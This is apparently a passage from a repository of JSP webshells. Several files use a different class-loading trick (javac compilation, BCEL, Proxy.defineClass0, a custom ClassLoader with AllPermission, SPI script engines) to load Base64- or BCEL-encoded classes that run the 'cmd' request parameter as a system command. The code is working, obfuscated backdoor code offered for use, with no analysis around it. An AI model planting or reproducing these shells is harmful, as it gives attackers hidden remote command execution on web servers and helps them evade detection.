0$f8$b0$9eo$88$Z$r$fe$$$d6$92$60$p$G$c8$d40s$bcF$ab$c40V$cd$83W$f0j$c4$df$q$zW$89$xA$3e$5e$c75F$Zf$8c$v$be$jk$w$f4z$94$e1$8d$7f$BP$cbmH$f2$H$A$A"; 7 | response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("cmd")).toString()).getBytes()); 8 | %> 9 | 10 | 11 | -------------------------------------------------------------------------------- /jsp/20/20_test.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.lang.reflect.Method" %> 2 | <%@ page import="java.lang.reflect.Proxy" %> 3 | <%! 4 | public static Class defineByProxy(String className, byte[] classBytes) throws Exception { 5 | 6 | // 获取系统的类加载器,可以根据具体情况换成一个存在的类加载器 7 | ClassLoader classLoader = ClassLoader.getSystemClassLoader(); 8 | 9 | // 反射java.lang.reflect.Proxy类获取其中的defineClass0方法 10 | Method method = Proxy.class.getDeclaredMethod("defineClass0", 11 | ClassLoader.class, String.class, byte[].class, int.class, int.class); 12 | // 修改方法的访问权限 13 | method.setAccessible(true); 14 | 15 | // 反射调用java.lang.reflect.Proxy.defineClass0()方法,动态向JVM注册对象 16 | // 返回一个 Class 对象 17 | return (Class) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length); 18 | } 19 | %> 20 | <% 21 | String CLASS_NAME = "org.su18.serialize.test.proxy.SuTestClass"; 22 | byte[] CLASS_BYTES = new byte[]{-54, -2, -70, -66, 0, 0, 0, 51, 0, 20, 10, 0, 4, 0, 16, 8, 0, 17, 7, 23 | 0, 18, 7, 0, 19, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 24 | 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 25 | 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 43, 76, 111, 114, 26 | 103, 47, 115, 117, 49, 56, 47, 115, 101, 114, 105, 97, 108, 105, 122, 101, 47, 116, 101, 115, 116, 47, 112, 27 | 114, 111, 120, 121, 47, 83, 117, 84, 101, 115, 116, 67, 108, 97, 115, 115, 59, 1, 0, 6, 99, 97, 108, 108, 28 | 77, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 29 | 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 16, 83, 117, 84, 101, 115, 116, 67, 108, 97, 30 | 115, 115, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 43, 67, 97, 108, 108, 32, 77, 101, 32, 66, 121, 32, 31 | 89, 111, 117, 114, 32, 72, 101, 97, 114, 116, 44, 65, 110, 100, 32, 73, 32, 83, 104, 97, 108, 108, 32, 66, 32 | 101, 32, 84, 104, 101, 114, 101, 46, 1, 0, 41, 111, 114, 103, 47, 115, 117, 49, 56, 47, 115, 101, 114, 105, 33 | 97, 108, 105, 122, 101, 47, 116, 101, 115, 116, 47, 112, 114, 111, 120, 121, 47, 83, 117, 84, 101, 115, 116, 34 | 67, 108, 97, 115, 115, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 35 | 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, 36 | -73, 0, 1, -79, 0, 0, 0, 2, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 6, 0, 9, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 10, 37 | 0, 11, 0, 0, 0, 9, 0, 12, 0, 13, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1, 0, 0, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 38 | 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 9, 0, 1, 0, 14, 0, 0, 0, 2, 0, 15}; 39 | 40 | Class testClass = defineByProxy(CLASS_NAME, CLASS_BYTES); 41 | 42 | Method m = testClass.getDeclaredMethod("callMe"); 43 | System.out.println(m.invoke(testClass)); 44 | %> -------------------------------------------------------------------------------- /jsp/5/5.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.net.URL" %> 2 | <%@ page import="java.net.URLClassLoader" %> 3 | <%@ page import="java.nio.charset.Charset" %> 4 | <%@ page import="java.nio.file.Files" %> 5 | <%@ page import="java.nio.file.Paths" %> 6 | <%@ page import="java.util.Locale" %> 7 | <%@ page import="javax.tools.DiagnosticCollector" %> 8 | <%@ page import="javax.tools.JavaCompiler" %> 9 | <%@ page import="javax.tools.JavaFileObject" %> 10 | <%@ page import="javax.tools.StandardJavaFileManager" %> 11 | <%@ page import="javax.tools.ToolProvider" %> 12 | <%@ page import="java.util.Random" %> 13 | <%@ page import="java.io.File" %> 14 | 15 | 16 |

javac动态编译class的JSP Webshell

17 | <% 18 | String c = request.getParameter("cmd"); 19 | String tmpPath = Files.createTempDirectory("xxxxx").toFile().getPath(); 20 | JavaCompiler javaCompiler = ToolProvider.getSystemJavaCompiler(); 21 | DiagnosticCollector diagnostics = new DiagnosticCollector(); 22 | StandardJavaFileManager standardJavaFileManager = javaCompiler 23 | .getStandardFileManager(diagnostics, Locale.CHINA, Charset.forName("utf-8")); 24 | int id = new Random().nextInt(10000000); 25 | StringBuilder stringBuilder = new StringBuilder() 26 | .append("import java.io.BufferedReader;\n") 27 | .append("import java.io.IOException;\n") 28 | .append("import java.io.InputStream;\n") 29 | .append("import java.io.InputStreamReader;\n") 30 | .append("public class Evil" + id + " {\n") 31 | .append(" public static String result = \"\";\n") 32 | .append(" public Evil" + id + "() throws Throwable {\n") 33 | .append(" StringBuilder stringBuilder = new StringBuilder();\n") 34 | .append(" try {") 35 | .append(" BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"" + c + "\").getInputStream()));\n") 36 | .append(" String line;\n") 37 | .append(" while((line = bufferedReader.readLine()) != null) {\n") 38 | .append(" stringBuilder.append(line).append(\"\\n\");\n") 39 | .append(" }\n") 40 | .append(" result = stringBuilder.toString();\n") 41 | .append(" } catch (Exception e) {\n") 42 | .append(" e.printStackTrace();\n") 43 | .append(" }\n") 44 | .append(" throw new Throwable(stringBuilder.toString());") 45 | .append(" }\n") 46 | .append("}"); 47 | Files.write(Paths.get(tmpPath + File.separator + "Evil" +id + ".java"), stringBuilder.toString().getBytes()); 48 | Iterable fileObject = standardJavaFileManager.getJavaFileObjects(tmpPath + File.separator + "Evil" +id + ".java"); 49 | javaCompiler.getTask(null, standardJavaFileManager, diagnostics, null, null, fileObject).call(); 50 | try { 51 | new URLClassLoader(new URL[]{new URL("file:" + tmpPath + File.separator)}).loadClass("Evil" + id).newInstance(); 52 | } catch (Throwable e) { 53 | response.getOutputStream().write(e.getMessage().getBytes()); 54 | } 55 | %> 56 | 57 | -------------------------------------------------------------------------------- /jsp/16/16.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="com.sun.naming.internal.VersionHelper" %> 2 | <%@ page import="java.io.File" %> 3 | <%@ page import="java.nio.file.Files" %> 4 | <%@ page import="java.nio.file.Paths" %> 5 | <%@ page import="java.util.Base64" %> 6 | 7 | 8 |

VersionHelper包装的URLClassLoader类加载器的JSP Webshell

9 | <% 10 | String tmp = System.getProperty("java.io.tmpdir"); 11 | String jarPath = tmp + File.separator + "Evil16.class"; 12 | Files.write(Paths.get(jarPath), Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhMRXZpbDE2OwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQALRXZpbDE2LmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAGRXZpbDE2BwBwDABxAHIBAAxFdmlsMTYuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAACwAEAAwADAANACUADwAvABAAPgASAEYAEwAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAFwAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAGwALABwAEgAdABgAHgAgAB8AJwAgACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ")); 13 | response.getOutputStream().write( 14 | VersionHelper.getVersionHelper().loadClass("Evil16", "file:" + tmp + File.separator).getConstructor(String.class).newInstance(request.getParameter("cmd")).toString().getBytes()); 15 | %> 16 | 17 | -------------------------------------------------------------------------------- /jsp/20/20.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.lang.reflect.Method" %> 2 | <%@ page import="java.lang.reflect.Proxy" %> 3 | <%@ page import="java.util.Base64" %> 4 | <%! 5 | public static Class defineByProxy(String className, byte[] classBytes) throws Exception { 6 | 7 | // 获取系统的类加载器,可以根据具体情况换成一个存在的类加载器 8 | ClassLoader classLoader = ClassLoader.getSystemClassLoader(); 9 | 10 | // 反射java.lang.reflect.Proxy类获取其中的defineClass0方法 11 | Method method = Proxy.class.getDeclaredMethod("defineClass0", 12 | ClassLoader.class, String.class, byte[].class, int.class, int.class); 13 | // 修改方法的访问权限 14 | method.setAccessible(true); 15 | 16 | // 反射调用java.lang.reflect.Proxy.defineClass0()方法,动态向JVM注册对象 17 | // 返回一个 Class 对象 18 | return (Class) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length); 19 | } 20 | %> 21 | <% 22 | byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MQnl0ZUNvZGVFdmlsOwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQARQnl0ZUNvZGVFdmlsLmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAMQnl0ZUNvZGVFdmlsBwBwDABxAHIBABJCeXRlQ29kZUV2aWwuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAACwAEAAwADAANACUADwAvABAAPgASAEYAEwAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAFwAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAGwALABwAEgAdABgAHgAgAB8AJwAgACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ"); 23 | Class testClass = defineByProxy("ByteCodeEvil", bytes); 24 | Object result = testClass.getConstructor(String.class).newInstance(request.getParameter("cmd")); 25 | out.println(result.toString()); 26 | %> -------------------------------------------------------------------------------- /jsp/2/2.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.security.PermissionCollection" %> 2 | <%@ page import="java.security.Permissions" %> 3 | <%@ page import="java.security.AllPermission" %> 4 | <%@ page import="java.security.ProtectionDomain" %> 5 | <%@ page import="java.security.CodeSource" %> 6 | <%@ page import="java.security.cert.Certificate" %> 7 | <%@ page import="java.util.Base64" %> 8 | 9 | 10 |

自定义类加载器的JSP Webshell

11 | <% 12 | response.getOutputStream().write(new ClassLoader() { 13 | 14 | @Override 15 | public Class loadClass(String name) throws ClassNotFoundException { 16 | if (name.contains("ByteCodeEvil")) { 17 | return findClass(name); 18 | } 19 | return super.loadClass(name); 20 | } 21 | 22 | @Override 23 | protected Class findClass(String name) throws ClassNotFoundException { 24 | try { 25 | byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MQnl0ZUNvZGVFdmlsOwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQARQnl0ZUNvZGVFdmlsLmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAMQnl0ZUNvZGVFdmlsBwBwDABxAHIBABJCeXRlQ29kZUV2aWwuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAACwAEAAwADAANACUADwAvABAAPgASAEYAEwAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAFwAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAGwALABwAEgAdABgAHgAgAB8AJwAgACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ"); 26 | PermissionCollection pc = new Permissions(); 27 | pc.add(new AllPermission()); 28 | ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null); 29 | return this.defineClass(name, bytes, 0, bytes.length, protectionDomain); 30 | } catch (Exception e) { 31 | e.printStackTrace(); 32 | } 33 | return super.findClass(name); 34 | } 35 | }.loadClass("ByteCodeEvil").getConstructor(String.class).newInstance(request.getParameter("cmd")).toString().getBytes()); 36 | %> 37 | 38 | -------------------------------------------------------------------------------- /jsp/10/10.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.net.URL" %> 2 | <%@ page import="java.net.URLClassLoader" %> 3 | <%@ page import="java.util.Random" %> 4 | <%@ page import="java.io.File" %> 5 | <%@ page import="java.nio.file.Files" %> 6 | <%@ page import="java.nio.file.Paths" %> 7 | <%@ page import="java.util.Base64" %> 8 | <%@ page import="javax.script.ScriptEngineFactory" %> 9 | <%@ page import="java.util.ServiceLoader" %> 10 | <%@ page import="java.util.Iterator" %> 11 | 12 | 13 |

SPI机制的ScriptEngineManager自动加载实例化JSP Webshell

14 | <% 15 | String tmp = System.getProperty("java.io.tmpdir"); 16 | Random random = new Random(); 17 | String jarPath = tmp + File.separator + "evil-" + random.nextInt(1000000) + ".jar"; 18 | String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt"; 19 | String s = request.getParameter("cmd"); 20 | if (Files.exists(Paths.get(inputFile))) 21 | Files.delete(Paths.get(inputFile)); 22 | Files.write(Paths.get(inputFile), s.getBytes()); 23 | 24 | if (Files.exists(Paths.get(jarPath))) 25 | Files.delete(Paths.get(jarPath)); 26 | Files.write(Paths.get(jarPath), Base64.getDecoder().decode("UEsDBBQACAgIAPCdj1EAAAAAAAAAAAAAAAAJAAQATUVUQS1JTkYv/soAAAMAUEsHCAAAAAACAAAAAAAAAFBLAwQUAAgICADwnY9RAAAAAAAAAAAAAAAAFAAAAE1FVEEtSU5GL01BTklGRVNULk1G803My0xLLS7RDUstKs7Mz7NSMNQz4OVyLkpNLElN0XWqBAlY6BnEG5kYKmj4FyUm56QqOOcXFeQXJZYA1WvycvFyAQBQSwcI8EshnEQAAABFAAAAUEsDBAoAAAgAAOedj1EAAAAAAAAAAAAAAAASAAAATUVUQS1JTkYvc2VydmljZXMvUEsDBBQACAgIAOedj1EAAAAAAAAAAAAAAAAyAAAATUVUQS1JTkYvc2VydmljZXMvamF2YXguc2NyaXB0LlNjcmlwdEVuZ2luZUZhY3RvcnlzLcvMCU4uyiwoAQBQSwcIY6D9MQwAAAAKAAAAUEsDBBQACAgIAO2dj1EAAAAAAAAAAAAAAAAQAAAARXZpbFNjcmlwdC5jbGFzc41W63MTVRT/3TTppstCSwqUII+iAimPRgEfNIiSWp4pxaa2huJjm71NN9ls4uYGUlER3+83Kv4D+NFxnLZjR/3mB8cZ/eAf4Ff/B0c8d/No06Q2M+3ZPff8zvOec7K//vvDTwCO4msV9+KsgnMqPDjrx3kVMQxL5kIHRnDRjyckM+pHXMUYnlQwrmICT6lI4JIKDZN+XJbPp6X4GRXP4jkFuoIpFZuRVLEJhiTcj2kFKak2I4kpddIKMpKxFGRV9MKWJKcgr+B5BQ5D+3HTNsUJhrZQ3ziDdzBncIbOmGnzC8XsFHfG9CmLTtbHhZ7MDOt5l3cNnKNIFRTcWLIM6lApyfPCzNkFgqe4GLJT0oqeJfVNob5YWr+ihy3dToXjwjHtVIShqwYb506BVCuaJcHtQtlSoKpZFKYVjpkFQXodcTNl66LokOm9DYDjja5OkJJGlofNLB+bzXMy7CdWBkevnfQaI3RRT1XiDSw7qYUmDVzUHQII7kjHjX6WZzkyleZJGW23dMzFTM4Y1C0rPmsLvcRwvol648nk//uoVVIGPFIU+aKgixI8y22xdoQ1bVVm5uRSlBvDvlCrTmXd4knHzFcukWFH5TJK4YJ7Hl4ulo7iuaKT5KdM2VOdQ1dMqwzol0oa9mIfQ89KT9GiaRmy4hukpN/M9Yts3jAdBUJDEVENV3BVQU